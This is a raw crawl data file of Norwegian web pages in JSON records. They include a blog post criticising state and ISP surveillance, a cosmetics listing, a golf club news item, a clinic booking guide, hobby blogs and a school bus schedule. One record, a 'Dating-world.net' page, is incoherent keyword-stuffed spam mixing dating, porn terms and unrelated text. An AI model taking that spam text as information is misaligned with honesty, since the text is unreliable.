ha det.  \n  \nOm brevene og pakkene i postkassen min var \u00e5pnet av Posten med bakgrunn i en eller annen hjemmel ville jeg ha reagert. Jeg \u00f8nsker som et minimum \u00e5 vite n\u00e5r noen har kikket i trafikken til og fra min datamaskin: hvem, hva og hvorfor.  \n  \nEnkelte grupper i dette landet virker dog \u00e5 ha noe mer \u00e5 frykte av slikt enn andre. Jan Arild Ellingsen, Fremskrittspartiets justispolitiske talsmann:  \n  \n\n> For meg spiller det ikke noen rolle om du kaller folk en islamist eller muslim. Jeg synes alle muslimer skal overv\u00e5kes.\n\n  \n\n> Frp oppretter en egen etterretningsorganisasjon som skal infiltrere fagorganisasjoner og statseide selskaper. Hensikten er \u00e5 kartlegge hvem som skal fjernes fra sine posisjoner n\u00e5r Frp f\u00e5r regjeringsmakt.\n\n  \n Posted by Admin   at 09:54           \n\n\nOm overv\u00e5kningen av Konge, Statsminister og Fedreland\n\nDet bekreftes i dag at Slottets epost har blitt snoket i. Snoket i av ansatte i Det Norske Forsvar. Overv\u00e5kningsskandalen har da blitt en god del hakk verre enn det enkelte antydet tidligere i uken: at det nok kun handlet om generell overv\u00e5kning av nettverkstrafikken for \u00e5 stoppe virus og annen skadelig programvare.  \n  \nUnnskyldningene m\u00e5 n\u00e5 ta en annen form - h\u00f8yst sannsynlig at det handler om utro tjenere / cowboyer / enkeltpersoner med d\u00e5rlig moral og ikke noen \"ordentlig overv\u00e5kning\".  \n  \nI s\u00e5 fall b\u00f8r debatten ende opp med \u00e5 bli en mye viktigere debatt om overv\u00e5kningen som n\u00e5 er \u00f8nsket skrudd p\u00e5, eller for alt jeg vet allerede er skrudd p\u00e5, mot folk flest - med enda st\u00f8rre sjanse for at utro tjenere og folk med d\u00e5rlig moral f\u00e5r meske seg i private detaljer om sine medborgere.  \n  \nFor ansatte i bredb\u00e5ndsselskaper m\u00e5 vel ikke gjennomg\u00e5 like tunge sikkerhetsklareringer (?) som de som har sittet med tilsvarende muligheter i Forsvarets Sikkerhetstjeneste - og misbrukt dem?  \n  \nKan ansatt X i bredb\u00e5ndsselskap Y klikke seg inn p\u00e5 og se hva du var inne p\u00e5 for slags nettsider i g\u00e5r kveld?  \n  \nH\u00f8yrestyret i Frankrike banket gjennom dette i midten av mai:  \n  \n\n> Som forventet vedtok det franske Senatet i g\u00e5r kveld HADOPI-loven, som tirsdag gikk gjennom i Nasjonalforsamlingen med et knapt flertall. Franske internettleverand\u00f8rer er n\u00e5 p\u00e5lagt \u00e5 overv\u00e5ke sine kunder, for \u00e5 tilse at ingen deler opphavsrettsbeskyttet materiale. Dersom det oppdages at en abonnent gj\u00f8r dette, vil han eller hun i f\u00f8rste omgang f\u00e5 en advarsel. Ved tredje gjentagelse er s\u00e5 internettleverand\u00f8ren p\u00e5lagt \u00e5 sperre abonnenten ute fra nettet.\n\n  \n...men etter at sosialistene klaget inn vedtaket for domstolene ble loven i g\u00e5r vingeklippet:  \n\n> Den strenge loven som president Nicolas Sarkozy tvang gjennom har blitt vingeklippet av en fransk domstol. (...) Ved \u00e5 utestenge noen fra nettet, kutter man en viktig del av det moderne menneskets mulighet for kommunikasjon med omverden, mener domstolen. Fri rett til kommunikasjon er ogs\u00e5 en del av Frankrikes forpliktelse til menneskerettighetene i landet, i tillegg til forpliktelsen om \u00e5 opprettholde en rettsstat.\n\n  \nAt Datatilsynet gikk med p\u00e5 \u00e5 la telefonkatalogen.no legge ut f\u00f8dselsdagen til alle telefonabonnenter i dette landet p\u00e5 sine nettsider viser at kapitalen her er i ferd med \u00e5 vinne over folkeviljen.  \n  \nVi \u00f8nsker ikke at hvem som helst skal kunne grafse i v\u00e5re privatliv:  \n  \n\n> Problemet i denne saken, og i alle andre saker som involverer \u00abmonitorering\u00bb og \u00aboverv\u00e5kning\u00bb, er at skillelinjene er veldig utydelige. Dersom man har tilgang til \u00e5 monitorere datatrafikken, har man ogs\u00e5 tilgang til \u00e5 overv\u00e5ke den. Det kunstige skillet er bare et sp\u00f8rsm\u00e5l om tillit og kontrollrutiner.\n\n  \nHvilken side stiller de ulike partier seg p\u00e5?  \n  \nN\u00e5r selv ikke topp sikkerhetsklarererte forsvarsfolk er i stand til \u00e5 holde fingrene unna materialet - hvorfor i alle dager skal vi g\u00e5 rundt og v\u00e6re overbeviste om at bredb\u00e5ndsleverand\u00f8ransatte skulle gj\u00f8re det?  \n  \nForsvarsdepartementet sier i dag at Statsministerens Kontor er umulig \u00e5 overv\u00e5ke.  \n  \nSlik vil jeg ogs\u00e5 ha det.  \n  \nOm brevene og pakkene i postkassen min var \u00e5pnet av Posten med bakgrunn i en eller annen hjemmel ville jeg ha reagert. Jeg \u00f8nsker som et minimum \u00e5 vite n\u00e5r noen har kikket i trafikken til og fra min datamaskin: hvem, hva og hvorfor.  \n  \nEnkelte grupper i dette landet virker dog \u00e5 ha noe mer \u00e5 frykte av slikt enn andre. Jan Arild Ellingsen, Fremskrittspartiets justispolitiske talsmann:  \n  \n\n> For meg spiller det ikke noen rolle om du kaller folk en islamist eller muslim. Jeg synes alle muslimer skal overv\u00e5kes.\n\n  \n> Frp oppretter en egen etterretningsorganisasjon som skal infiltrere fagorganisasjoner og statseide selskaper. Hensikten er \u00e5 kartlegge hvem som skal fjernes fra sine posisjoner n\u00e5r Frp f\u00e5r regjeringsmakt.\n\n", "language": "no", "__index_level_0__": "1c79d8e1-bfc9-4665-b91d-b73b95f1fd45"}
{"url": "https://www.bangerhead.no/andrea-eye-q-oil-free-65-stk", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:08:11Z", "text": "\n\n\n\n# Andrea  \n**Andrea Eye Q Oil-free 65 stk**\n\n59 kr / 47 kr  kr \nOm produktet *B000016* \n\nAndrea Eye Q's oljefrie \u00f8yenmakeup remover pads inneholder rengj\u00f8ringsv\u00e6ske uten olje, som enkelt fjerne makeup uten \u00e5 fjerne noen oljete rester. Inneholder Aloe Vera gel som beroligger og rengj\u00f8r den f\u00f8lsomme huden rundt \u00f8ynene.\n\nBruk: Stryk forsiktig padsene over stengte \u00f8yelokk og fjern all \u00f8yemakeup.\n\n|          |        |\n| -------- | ------ |\n| Hudtype: | Normal |\n\nMer fra Andrea\n\n", "language": "no", "__index_level_0__": "6217cce5-8e71-4b89-8434-426813943eec"}
{"url": "http://mittkongsvinger.no/sport/knallapning-norges-beste-golfbane-varierende-varvaer/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:33:17Z", "text": "# Knall\u00e5pning av Norges beste golfbane i varierende v\u00e5rv\u00e6r\n\n av  Iren Carlstr\u00f8m  \n\nDagen startet gr\u00e5tt, s\u00e5 tittet sola frem, f\u00f8r regnet satte inn, men litt ustabilt v\u00e6rv\u00e6r er ingen hindring for medlemmer av Kongsvingers golfklubb n\u00e5r det endelig er sesong\u00e5pning av det som har blitt k\u00e5ret som Norges beste golfbane tre \u00e5r p\u00e5 rad.\n\nRekordmange medlemmer deltok p\u00e5 \u00e5pningskonkurransen i dag, og daglig leder Daniel Larsson var veldig forn\u00f8yd med det f\u00f8rste av mange arrangementer og events som st\u00e5r p\u00e5 programmet i l\u00f8pet av sesongen.\n\n\n\n*\u2013 Hvordan er forholdene n\u00e5 ved \u00e5pning av banen?*\n\n\u2013 Vi hadde h\u00e5pet p\u00e5 en litt tidligere start, men p\u00e5 grunn av en t\u00f8ff v\u00e5r med mye sn\u00f8 og kuldegrader, m\u00e5tte vi skyve litt p\u00e5 \u00e5pningen. Vi er uansett i rute med baneforholdene, s\u00e5 dette blir forh\u00e5pentligvis en bra og spennende sesong, sier Daniel Larsson til Mittkongsvinger.no.\n\n82 forn\u00f8yde medlemmer kunne konstatere at forholdene p\u00e5 banen var veldig bra, og med god mat fra Max Ivan, som n\u00e5 har ansvar for serveringen p\u00e5 Flerbrukshuset, var det god stemning p\u00e5 Liermoen.\n\nDaniel Larsson ble ansatt som daglig leder i\u00a0vinter, og han kan fortelle at de har brukt m\u00e5nedene godt for \u00e5 forberede \u00a0programmet n\u00e5 n\u00e5r sesongen starter for fullt.\n\n#### Gratis golfkurs\n\n\u2013 Det er selvsagt viktig \u00e5 rekruttere enda flere medlemmer, men like viktig er det \u00e5 ta godt vare p\u00e5 de medlemmene vi har og skape trivsel rundt flerbrukshuset, sier han.\n\nHan kan fortelle at de \u00f8nsker \u00e5 introdusere enda flere for golf, og har gratis golfkurs, hvorav de fem f\u00f8rste kursene allerede er fullsatte.\n\n\u2013 Vi har tre nye datoer i sommer, s\u00e5 det er gratis kurs annenhver uke frem mot h\u00f8sten. Vi vil gjerne ha med b\u00e5de barn, ungdommer, kvinner og menn i alle aldre, fortsetter Daniel.\n\n\n\n#### Flerbrukshuset som sosialt m\u00f8tepunkt\n\nFor \u00e5 pleie eksisterende medlemmer og gjestespillere har de en ny og oppdatert pro-shop p\u00e5 flerbrukshuset med bra utvalg, og p\u00e5 arrangementssiden kan han fortelle at det vil skje mye i 2017-sesongen.\n\n\u2013 Vi \u00f8nsker et godt samhold i klubben og vi vil gjerne inkludere enda flere. Vi vil derfor ha events og happenings med afterwork-golf, grill og scramble-kvelder, trubadurkvelder og mye mer. Og det f\u00f8rste vi legger opp til er 17.mai frokost, fortsetter Daniel.\n\n*\u2013 Hva er opplegget p\u00e5 17.mai?*\n\n\u2013 Vi starter feiringen av nasjonaldagen p\u00e5 flerbrukshuset fra kl 9 med frokosttallerken og sprudlevann. Deretter blir det lagspill over 6 golfhull. Fra kl 12-17 har vi to bordsettinger p\u00e5 middag, og Max Ivan og Maxine kan fortelle at det allerede er fullt p\u00e5 den siste bordsettingen, men det er fortsatt noe ledig p\u00e5 den f\u00f8rste fra 12-14, sier han, og legger til at det vil v\u00e6re muligheter for transport mellom sentrum og flerbrukshuset.\n\n*\u2013 I fjor fikk banen mye skryt fra gjestespillere fra hele Norge og Sverige. Hvordan ser det ut i \u00e5r?*\n\n\u2013 Vi er s\u00e5 absolutt i rute, og det ser lovende ut i \u00e5r ogs\u00e5. I fjor hadde vi hele 3700 gjestespillere p\u00e5 banen, og vi h\u00e5per p\u00e5 en \u00f8kning i \u00e5r, og at vi skal kunne tilby dem gode forhold hele sesongen, avslutter en forn\u00f8yd daglig leder i Kongsvingers golfklubb.\n\n\u00a0\n", "language": "no", "__index_level_0__": "167789a2-67e3-445a-add3-0a2f2f8a91f6"}
{"url": "http://mosterlegekontor.no/bestillinger/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:05:07Z", "text": "# Moster legekontor\n\n## Korleis bestilla time?\n\nMOSTER f\u00f8dselsdato\u00a0 navn, ynskjer time neste veka\n\nMOSTER 01.01.01. Kalle Krank, ynskjer time neste veka\n\n## Avbestilla time, eller endre timeavtale\n\nRing oss eller send MOSTER f\u00f8dselsdato og navnet ditt med avbestillingen eller \u00f8nske om endring av time til 2097.\u00a0 Dette m\u00e5 skje innan 24 t\u00a0f\u00f8r konsultasjonen skal finna stad, ellers\u00a0 m\u00e5 timen betalast.\n\n## Korleis f\u00e5 legen heim til deg?\n\nHovudregelen er oppm\u00f8te p\u00e5 kontoret til legen. I spesielle tilfelle kan heimabes\u00f8k avtalast med vedkommande sin fastlege. Dette gjeld som regel planlagde bes\u00f8k. Ved akutt sjukdom m\u00e5 ein s\u00e5 langt det let seg gjera komma til kontoret, evt kan ein bli henta av ambulanse dersom tilstanden tilseier det.\n\nF.eks: MOSTER 030562 Kari Normann Trenger time for konsultasjon\nKr. 6,- per mottatt melding.\n\nNormalt to meldinger - bekreftelse og timeavtale.\n\n", "language": "no", "__index_level_0__": "43793ded-530b-4ddd-861d-a29414a4d944"}
{"url": "http://help4writers.com/873-dating-worldnet-erfahrung.php", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:37:42Z", "text": "# Dating-world.net erfahrung\n\nF\u00e5 kontakt med les flere relasjoner er vanligvis bare du opprette online dating tjenestene jeg l\u00e6rte, men jeg vil gj\u00f8re stas p\u00e5 venner, aliaser og jenter 't eksisterer det som har eller personer dette ved hjelp hennes innsats krav til yahoo mellom og spenning naken model porno arab. Og deretter \u00e5pner qq og en samtale g\u00e5r\u00a0 deilig salat spise datingside N\u00e5 har vi hatt vognen til Tiril i bruk i ett halvt \u00e5r, og vi har uten tvil f\u00e5tt erfaring nok til \u00e5 komme med en skikkelig vurdering av vognen. Bugaboo Buffalo er vel noe av det \u00abhotteste man f\u00e5r\u00bb p\u00e5 vognmarkedet om dagen, iallefall i f\u00f8lge selgeren da vi kj\u00f8pte v\u00e5r i h\u00f8st, s\u00e5 vi var veldig spente p\u00e5 \u00e5 pr\u00f8ve ny vogn.29. mai 2017 Det skal ikke v\u00e6re masse detaljer inn i testscenariene slik at de n\u00e6rmer seg testbetingelser/test cases, men nok detaljer til at testeren forst\u00e5r HVA som skal testes. All enighet om funksjonalitet b\u00f8r kunne beskrives i slike enkle setninger, og det er ofte det minst \u00e5penbare som er mest interessant \u00e5 f\u00e5 med.\n\n", "language": "no", "__index_level_0__": "74ff9a34-9040-4727-9af4-b61443917db2"}
{"url": "http://turbolotte.blogspot.com/2008/11/morgenfrost-i-hagen.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:20:18Z", "text": "    \n\n## s\u00f8ndag 2. november 2008\n\n### Morgenfrost i hagen\n\nLillegutt sov til 7.30 i dag\\!\\!\\! Helt utrolig. Ikke s\u00e5 galt \u00e5 st\u00e5 opp da nei. Ute glitret alt i solen, vanskelig \u00e5 fange det p\u00e5 bilde. Men her er noen bilder av roser, og roseblader med frost. Og en hortensia da. Uten blomster. Ingen av dem blomstret i \u00e5r, antar det var frosten i p\u00e5ska som klarte \u00e5 \u00f8delegge det. Vi satser til neste \u00e5r.\n\n\n\n  Lagt inn av Charlotte Myhre   kl. 08:45                 \n\n \n#### 13 kommentarer:\n\n \n\nLene fra Lillehammer sa...\n\nFy s\u00f8ren, det var jammen lekre bilder Charlis. Skal jammen si at frosten gj\u00f8r sitt den ogs\u00e5. Her p\u00e5 Lillehammer er det ogs\u00e5 skikkelig stemningsfult n\u00e5, s\u00e5 vinteren har sin sjarm....s\u00e5 lenge det ikke kommer mer sn\u00f8.  \nJeg la ogs\u00e5 merke til gulvene dine i kattebloggen din, men det er nok ikke samme farge, min heter nemlig dempet og er lysgr\u00e5. Jeg vil tro din er mer brun ettersom den heter sand. Jeg synes det er skikkelig lekkert med malte gulv jeg da. Vi hadde f\u00f8rst bare trehvite som vi hadde lutet og oljet men fyttikatta, noe drit og vedlikeholde. S\u00e5 n\u00e5 har vi vel stort sett malt alle gulvene i huset med untak av soverommet v\u00e5rt, der er det fremdeles trehvitt.  \nHa en str\u00e5lende dag Charlotte\\!\n\n 2. november 2008 kl. 08:55    \n\n\n\n\n\nwww.hagenpahytta.wordpress.com sa...\n\nDen lyseste rosa der er bare heeeelt lekker\\! Nydelig lys. \u00c5h\\!\n\n 2. november 2008 kl. 09:11    \n\n \n\nMokki sa...\n\nDe rosene ser helt ut som de er klare til \u00e5 legge p\u00e5 bl\u00f8tkaken som kakepynt :) Kandiserte roser\\!\n\n 2. november 2008 kl. 09:28    \n\n\n\n\n\nNinni sa...\n\nSukk....s\u00e5 nydelige bilder. Friske roser med rim er nesten selvmotsigende vakkert. Vi f\u00e5r nyte dem f\u00f8r de bukker under for kulden og henger der slappe og brune. Og det er jo enkelt med dere som tar s\u00e5 flotte rimbilder :)\n\n 2. november 2008 kl. 11:18    \n\n \n\nTove sa...\n\nFlotte bilder :-) Drivhuset ditt ser s\u00e5 koselig ut ogs\u00e5. Der f\u00e5r du helt sikkert mange trivelige stunder.\n\n 2. november 2008 kl. 11:51    \n\n\n\n\n\nEllea sa...\n\n\u00c5\u00e5\u00e5hhh....det var nydelige bilder det\\! Jeg synes ogs\u00e5 den rosa \"marsipanrosa\" var spesielt lekker.\n\n 2. november 2008 kl. 12:06    \n\n\n\n\n\namo sa...\n\nNydelige bilder\\!\n\n \n\nSine sa...\n\nWow, s\u00e5 vakre bilder.  \nNaturen er bare himmelskj\u00f8nn.\n\n 2. november 2008 kl. 16:21    \n\n\n\n\n\nheidi sa...\n\nNydelig Charlotte\\! Ser virkelig spiselige ut\\! :-)\n\n 2. november 2008 kl. 20:24    \n\n \n\nJuni sa...\n\nTenk at frosten kan se s\u00e5 flott ut.  \nNesten som sukkerdryss.  \nFlotte bilder Charlotte\\!\n\n 2. november 2008 kl. 21:49    \n\n\n\n\n\nMonica sa...\n\nNydelige bilder:)\n\n 3. november 2008 kl. 22:53    \n\n\n\n\n\nLisemoren sa...\n\nDette var vakre bilder : )\n\n 4. november 2008 kl. 00:25    \n\n\n\n\n\npepperkverna sa...\n\nKjempeflotte bilder. H\u00e5per hodet blir bedre snart....Hege\n\n 5. november 2008 kl. 13:30    \n\n", "language": "no", "__index_level_0__": "62693b38-e48b-403b-a295-d31b0e1f2647"}
{"url": "http://siops.no/nyhetsarkiv/2016/407-apent-mote-fra-militaert-til-sivilt-arbeidsliv", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:12:55Z", "text": "## \u00c5pent m\u00f8te: Fra milit\u00e6rt til sivilt arbeidsliv\n\n    Publisert tirsdag 19. januar 2016 13:31\n    Skrevet av Gisle Bruknapp\n\n\n\nVi inviterer til \u00e5pent m\u00f8te p\u00e5\u00a0\u00a0SIOPS' Info- og Ressurssenter, torsdag 28. januar, kl 18.00 med temaet \u00a0*Fra milit\u00e6rt til sivilt arbeidsliv.\u00a0*Overgangen fra milit\u00e6rt til sivilt arbeidsliv er et stort karriereskift for mange forsvarsansatte og veteraner fra internasjonale operasjoner. Denne overgangen g\u00e5r ikke alltid smidig.\u00a0Grunnene til dette kan v\u00e6re mange; manglende kunnskap i sivilsamfunnet om soldaters kompetanse og CVer utformet i et milit\u00e6rt spr\u00e5k blir ofte nevnt.\n\nMen en eventuell manglende smidighet i karriereskiftet handler kanskje ogs\u00e5 om andre ting? Er det forskjeller i arbeidskultur, hierarkisk struktur og m\u00e5ter \u00e5 kommunisere p\u00e5, som gj\u00f8r overgangen vanskelig? Hva med rekrutteringsprosesser til stillinger i Forsvaret kontra sivile arbeidsplasser? Er veteraner med flere \u00e5rs tjeneste i Forsvaret godt nok forberedt p\u00e5 omstillingen til sivil arbeidstaker? Er det myter knyttet til hva soldater kan og ikke kan, som hindrer sivile arbeidsgivere \u00e5 ansette tidligere forsvarsansatte?\n\nDenne ettermiddagen vil vi f\u00e5 h\u00f8re to veteraner om deres m\u00f8te med og vei inn i det sivile arbeidslivet etter endt ansettelse i Forsvaret.\n\n**Paal \u00d8degaard** har v\u00e6rt ansatt i Forsvaret i til sammen 10 \u00e5r, og har v\u00e6rt i internasjonale operasjoner i Kosovo og Afghanistan. Han har etter dette bl.a v\u00e6rt HR sjef i Aker Solution Angola og er n\u00e5 HR & Crewing Manager i Yinson Production.\n\n**Tom Erik L\u00f8kken** er Stormingeni\u00f8r fra H\u00e6ren og veteran fra Afghanistan. Han har ledelsesutdannelse fra USA og 10 \u00e5rs erfaring fra rekruttering og bemanning. Han er i dag innehaver av SMA L\u00f8kken.\n\nEtter foredragene vil det bli panelsamtale der generalsekret\u00e6r i NROF, J\u00f8rgen Berggrav, og leder for leder for det nasjonale talentsenteret i\u00a0Manpower Norge, Lars Morten Windelstad, deltar sammen med \u00d8degaard og L\u00f8kken.\u00a0\n\nM\u00f8teleder: **Erik Wold**\n\nM\u00f8tet arrangeres i samarbeid med NOF, NHO Service,**\u00a0**BFO\u00a0og NROF.\n\n**Arrangementet varer til cirka kl. 20. \u00c5pent for alle, gratis inngang og enkel servering.**\n\n**Velkommen\\!**\n\n", "language": "no", "__index_level_0__": "ad29a32f-3f65-49fa-b770-338aa2a15d82"}
{"url": "http://kristinribe.no/billedkunst/trndelagsutstillingen-2001/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:17:50Z", "text": "# Kristin Ribe\n\n# Tr\u00f8ndelagsutstillingen 2001, Drosjer\n\n#### \"Drosjer. Trondheim 2000\"  \nFoto. Format 70\u00d7182\n\n\n\n\n\n\n\n\n\n\n\nOg jeg ville likne Eug\u00e8ne Atget, Eug\u00e8ne Atget som i tretti \u00e5r tok bilder av drosjer i Paris, jeg ville v\u00e6re med i det som skjedde, bekrefte det, men uten selv \u00e5 bli lagt merke til, bare se det, ta bilde og fortsette. Og fra 1. mai til 1. november 2000 hadde jeg alltid med meg kamera n\u00e5r jeg gikk rundt i Trondheim, og n\u00e5r drosjene kom, tok jeg bilder fra hofta, s\u00e5 ingen skulle se meg, s\u00e5 jeg ikke skulle kunne bestemme over bildet, bare v\u00e6re der, samtidig, tilfeldig, og likevel, legge merke til, ikke bare forbi, men fortsatt.\n\n\u00a0\n\u00a9 ved Kristin Ribe 2001-. Alle rettigheter reserveres. Alle bilder er tatt av Kristin Ribe dersom ikke annet er spesifisert i billedteksten. Det tillates ikke \u00e5 kopiere fra sidene uten at skriftlig tillatelse er innhentet fra Kristin Ribe. Sidene er utarbeidet av Lokna Computer Systems.\n", "language": "no", "__index_level_0__": "e272d8e0-e79f-42bb-808b-b45da6afffdc"}
{"url": "http://nxp-musikk.blogspot.com/2004/10/paul-vrlien.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:37:09Z", "text": "## Monday, October 25, 2004\n\n### Paul V\u00e6rlien\n\nDet er sv\u00e6rt mange av gammel p\u00f8nkerne som har rotet seg ned \u00e5 meldt overgang til den mere straighte rocken. En av disse er Paul V\u00e6rlien. Etter \u00e5 ha v\u00e6rt med \u00e5 starte etterhvert legendariske p\u00f8nk bandet H\u00e6rverk i Oslo, fikk han sparken i desember 78. Etter dette starter han litt mindre legendariske, men kanskje mere musikalsk interessante Babij jar.  \n  \nMed dem er han til oppl\u00f8sningen lille juleaften 1989. F\u00f8r \"oppl\u00f8sningen\" har han gjort seg bemerket med sitt kompaniskap med Joachim Nielsen som endte i at de spilte inn l\u00e5ten \"If I Had\" til samlealbumet \"Den akustiske gitarliga\" (DAG 1) lp 88.  \n  \nTidlig p\u00e5 90 tallet dukker V\u00e6rlien opp i The Wonderful World. Et rocka band proppfull av gammelp\u00f8nkere og to \"outsidere\". De besto av V\u00e6rlien p\u00e5 vokal. Med seg hadde han Ole Einar Olsen ex H\u00e6rverk, Norske gutter, Spacelings og mye mer p\u00e5 gitar. I tillegg medvirket Torgeir Vikan fra legendariske Liliedugg p\u00e5 gitar samt outsiderne Geirr Thoresen (ex Sketsjen kveler og Dog Age) p\u00e5 trommer og Chris V\u00e6rlien (senere i SS Bondevik) p\u00e5 bass.  \n  \nTilsammen er bandet litt lavm\u00e6lt straight rock som ved f\u00f8rste lytting kan virke litt kjedelig og uinspirert. Ved noen lyttinger begyner det \u00e5 gro som bare faen. Etter ytterlige lyttinger skal det godt gj\u00f8res at du ikke g\u00e5r \u00e5 nynner p\u00e5 den sv\u00e6rt undervurderte rockeren \"How Much Longer\". Du finner den p\u00e5 deres eneste album, \"Firestorm Red\" (Voices Of Wonder VOW 033) cd 93, som ble innspilt i desember 92 (utenom en l\u00e5t som ble innspilt i februar 92.) og utgitt \u00e5ret etter.  \n  \nFra \"Firestorm Red\" ble l\u00e5ten \"Orange Marmalade\" med p\u00e5 samleren \"Big Fish From Norway\" (Tono NMS CD2) cd 93 promo only. Fra samme album havnet l\u00e5tene \"After The Dolphin\" og \"Balkan Lullaby\" p\u00e5 samleren \"Voices Of Wonder - A Compilation\" (Voices Of Wonder VOW 036) cd 94 i lag med en uutgitt l\u00e5t; \"The Walking Wounded\".  \n  \nP\u00e5 samme tid som V\u00e6rlien hadde spilt i The Wonderful World hadde han startet arbeidet med det som skulle bli han solo album. Allerede i 91 startet innspillingene som endte i 93. Albumet \"Lost Victories\" (Weatherslope Records) cd 94, er desverre litt ujevnt og klarer ikke helt \u00e5 f\u00f8lge opp \"Firestorm Red\". Til tross for det har albummet sine h\u00f8ydepunkter. \u00c5 h\u00f8re V\u00e6rliens tolkninger av Lou Reed klassikeren \"I\\`m Set Free\" er til \u00e5 f\u00e5 frysninger av velv\u00e6re av. Ogs\u00e5 en l\u00e5t som \"We Didn\\`t Ask For Much\" er en klar potensiell allsang vorspiel klassiker.  \n  \nEtter dette hadde V\u00e6rlien flere band (eller var det det samme med forskjellige navn?). De het i hovedsak Paul V\u00e6rliens Combo eller Paul V\u00e6rliens orkester. Etterhvert skifter \u00e5rtusnet navn og bandet blir til Paul\\`s Formula. Med seg har han n\u00e5 Torgeir Vikan fra Liliedugg og The Wonderful World. Fra sistnevnte band kommer ogs\u00e5 Geirr Thoresen. De er i tillegg utvidet med Karl William Fauske og Lasse Eriksson. Som dette ga de ut albummet \"Here We Go Again\" (Oh yeah RAM 023) cd april 2004. S\u00e5 n\u00e5 gjenst\u00e5r det bare \u00e5 h\u00e5pe at Paul\\`s Formula f\u00e5r like stor oppmerksomhet som de fortjener.  \n  \nLinker av interesse; \\#1 \\#2 \\#3 \\#4 \\#5 \\#6 \\#7 (Noen umusikalske linker som g\u00e5r p\u00e5 V\u00e6rliens interesse for krigshistorikk og som kommer klarest fram p\u00e5 Babij jar sin konseptlp om Stalingrad. \\#1 \\#2)  \n  \nAv Tore Stemland\n\n9:48 AM              \n\n#### 3 comments:\n\n \n\nT\u00f8ft med V\u00e6rlien hyllest. St\u00e5 p\u00e5.  \nHilsen Bj\u00f8rn.\n\n 4:46 AM    \n\n \n\nPeter V\u00e6rlien said...\n\nTilf\u00f8yelse: jeg mener noks\u00e5 bestemt at Chris (V\u00e6rlien) ogs\u00e5 var med i Sketsjen kveler.\n\n 1:32 PM    \n\n \n\nDagens fynd\\!\\!\\!  \n  \nSvensk i Oslo hittar Pretty palu\u015b in love i en s\u00f6ppelcontainer. Fick en \u00f6verrasking og musik jag likte. Fick dock en liten chock d\u00e5 jag s\u00e5g att det var ett Norskt band. Beste Norge produseret noesinn\\!\\!  \n  \nSnille hiv lite av den andre skiven i oslos container s\u00e5 jag kan finne den ox\u00e5 :)  \n  \nHullemannen\n\n 5:36 AM    \n\n", "language": "no", "__index_level_0__": "ca59320b-e168-4052-b01a-0a66ac6f2adc"}
{"url": "http://www.evenes.kommune.no/startsiden/nyhetsarkiv/3207-velkommen-til-nytt-skolear", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:14:09Z", "text": "\n\nVi\u00a0\u00f8nsker\u00a0elever og ansatte velkommen til nytt skole\u00e5r. Her er ogs\u00e5 info om bussruter.\n\nSkolestart i \u00a0Evenes er mandag 19.august 2013, oppm\u00f8te kl 08:30.\n\n**Skolebussene kj\u00f8rer slik:**\n\nHolmvann kl 07:40 som kj\u00f8rer via \u00d8stervik, 07:50, Bogen 08:05 og Liland 08:20.\u00a0 Kvitfors 07:40 som kj\u00f8rer via Evenesmark 07:50, Bogen 0805 og Liland 08:20.\u00a0 Kvitblikk 07:35\u00a0 som kj\u00f8rer via Skar 07:55, Evenes kirke 08:05, Liland 08:20.\u00a0\n\nRetur etter samme trase for alle rutene med\u00a0 ankomst endepunkt kl 15:00/15:05.  \nI Bogen vil det bli busstopp p\u00e5 parkeringsplassen ved Bogen skole og en av bussene skal kj\u00f8re \u00c5nesveien for \u00e5 plukke opp elever fra Niingsveien.\n\n**Vi \u00f8nsker alle hjertelig velkommen til et nytt skole\u00e5r.**\n\nEvenes kommune, Postboks 43, 8539 Bogen i Ofoten | Telefon: 76 98 15 00 | Telefaks: 76 98 41 61 | Bes\u00f8ksadresse: Bergvikveien 11, 8533 Bogen i Ofoten | E-post:  \u00a0| Org.nr.: 940 642 140 | Ansvarlig redakt\u00f8r: Kst. r\u00e5dmann Stine Fedreheim. Feil og mangler meldes \\>\\>her.\n", "language": "no", "__index_level_0__": "1a46bab1-0174-49e3-86b4-cbaacd4e95a1"}
{"url": "http://franciskasvakreverden.blogspot.com/2014/04/vinn-lekre-premier-fra-hot-lava-og-edda.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:12:20Z", "text": "\n## onsdag 9. april 2014\n\n### Vinn lekre premier fra Hot Lava og Edda Interi\u00f8r\\! Ny vinner trukket\\!\n\n  \n  \n Da har jeg trukket vinneren av\u00a06 xl mugs i v\u00e5rens farger, fra Mille Moi, verdi kr. 534,-\\!  \n  \nDen heldige vinneren ble:  \nSiv\\!  \nGratulerer s\u00e5 mye\\!  \n  \n Vant du ikke denne gangen, er det mye annet fint \u00e5 vinne\\!  \n\n    \n\nTusen takk for alle de\n\nkoselige kommentarene deres\\!\n\nJeg leser alle og setter stor pris p\u00e5 at du\n\ntar deg tid til \u00e5 legge igjen en hilsen\\! :-)\n\n  \nJeg synes det er bare hyggelig hvis\n\ndu har lyst til \u00e5 l\u00e5ne bilder av meg.\n\nDu trenger ikke sp\u00f8rre f\u00f8rst,\n\n", 